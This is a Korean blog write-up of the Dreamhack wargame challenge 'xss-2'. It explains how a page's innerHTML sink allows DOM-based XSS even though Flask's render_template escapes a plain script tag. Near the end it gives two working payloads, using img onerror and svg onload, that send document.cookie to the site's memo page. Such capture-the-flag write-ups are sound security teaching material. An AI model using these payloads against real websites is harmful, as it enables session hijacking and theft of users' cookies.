본문 바로가기

Wargame(hacking)/Dreamhack

Dreamhack : xss-2

Write-Up

 

[[ xss-1 문제 ]]
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

[[ xss-2 문제 ]]
@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

 

XSS-2 가 XSS-1 문제와 달라진 부분은 위의 /vuln 엔드 포인트에 render_template 함수를 통해 페이지를 랜더링 하고 있다는 것이다. ( render_template 함수는 Flask 웹 프레임워크에서 제공하는 함수로, Jinja2 템플릿 엔진을 사용하여 HTML 템플릿 파일을 렌더링한다. 주어진 템플릿 파일( vuln.html )의 이름과 함께 전달된 변수나 값들을 템플릿에 적용하여 완성된 HTML을 생성하는 것이다. render_template 함수를 사용하면, 전달된 템플릿 변수가 기록될 때 HTML 엔티티코드로 변환해 저장되기 때문에 XSS가 발생하지 않게 된다. )

 

그래서 /vuln 엔드 포인트에 <script>alert(1)</script> 과 같은 payload를 입력해도 스크립팅 되지 않는다.

 

 

이번에는 xss-1 과 달리,  render_template() 을 통해 페이지가 반환되었으므로, 구성된 /vuln 엔드포인트의 페이지의 리소스를 봐보도록 한다. vuln 페이지에 아래와 같이 innerHTML 요소가 존재하는 것을 볼 수 있다. ( innerHTML 은 DOM을 이용하는 하나의 속성인데, innerHTML 속성은 XSS에 대한 문제가 있다하여, HTML5 부터는 <script>  태그가 실행되지 않게끔 해두었다. 하지만 이벤트 핸들러를 통해 우회가 가능하다. )

 

<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>

 


위는 현재 페이지의 URL 쿼리 문자열에서 param 파라미터의 값을 추출하고, 해당 값을 페이지 내의 vuln 이라는 ID를 가진 요소의 내부 HTML로 설정하는 코드이다. 즉, 파라미터의 값을 통해 ‘쓰기’를 수행하는 것이다.

vuln.html에 위 코드가 존재한 채 랜더링 되었으므로, innerHTML을 통해 사용자가 URL의 param 쿼리 파라미터를 조작하여 웹 페이지의 내용을 변경할 수 있게 한다는 점에서 취약함을 알 수 있다. 

 

<img src="DreamHack" onerror="location.href='/memo?memo='+document.cookie">

<svg/onload=location["href"]="/memo?memo="+document["cookie"]> #<svg onload=...

 

위와 같은 코드로 exploit에 성공할 수 있다. 

 

 

 

 

 

 

참고 ( 해당 문제 )

 

https://dreamhack.io/wargame/challenges/268

 

xss-2

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

dreamhack.io